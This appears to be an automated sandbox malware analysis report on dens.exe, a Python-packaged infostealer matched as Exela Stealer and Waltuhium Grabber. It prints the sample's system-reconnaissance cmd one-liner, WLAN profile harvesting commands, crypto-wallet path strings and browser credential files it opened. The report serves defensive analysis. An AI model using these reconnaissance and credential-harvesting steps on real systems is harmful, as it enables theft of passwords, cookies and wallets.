Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\_queue.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco\text\Lorem ipsum.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco\text\Lorem ipsum.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\pyexpat.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior

Source: C:\Windows\System32\net1.exe

Key value queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation Bias

Source: C:\Users\user\Desktop\dens.exe

Code function: 0_2_00007FF62C0FD010 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF62C0FD010

Source: C:\Users\user\Desktop\dens.exe

Code function: 0_2_00007FF62C115C00 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF62C115C00

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the windows firewall

Source: C:\Users\user\Desktop\dens.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ollydbg.exe

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected Exela Stealer

Source: Yara match	File source: 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2029534944.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dens.exe PID: 6500, type: MEMORYSTR

Yara detected Python Stealer

Source: Yara match	File source: 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2029534944.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dens.exe PID: 6500, type: MEMORYSTR

Yara detected Waltuhium Grabber

Source: Yara match	File source: 00000001.00000002.2065840067.000002D9AC8B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2029534944.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dens.exe PID: 6500, type: MEMORYSTR

Detected generic credential text file

Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Cookies.txt	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Firefox\History.txt	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\network_info.txt	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\system_info.txt	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\process_info.txt	Jump to behavior

Found many strings related to Crypto-Wallets (likely being stolen)

Source: dens.exe, 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "Electrum":
Source: dens.exe, 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "Jaxx": os.path.join(self.RoamingAppData, "com.liberty.jaxx", "IndexedDB", "file__0.indexeddb.leveldb"),
Source: dens.exe, 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "Exodus": "aholpfdialjgjfhomihkjbmgjidlcdno",
Source: dens.exe, 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "Ethereum": os.path.join(self.RoamingAppData, "Ethereum", "keystore"),
Source: dens.exe, 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "Ethereum": os.path.join(self.RoamingAppData, "Ethereum", "keystore"),

Gathers network related connection and port information

Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\events	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\bde1cb97-a9f1-4568-9626-b993438e38e1	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\4d5b179f-bba0-432a-b376-b1fb347ae64f	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.files	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\57328c1e-640f-4b62-a5a0-06d479b676c2	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
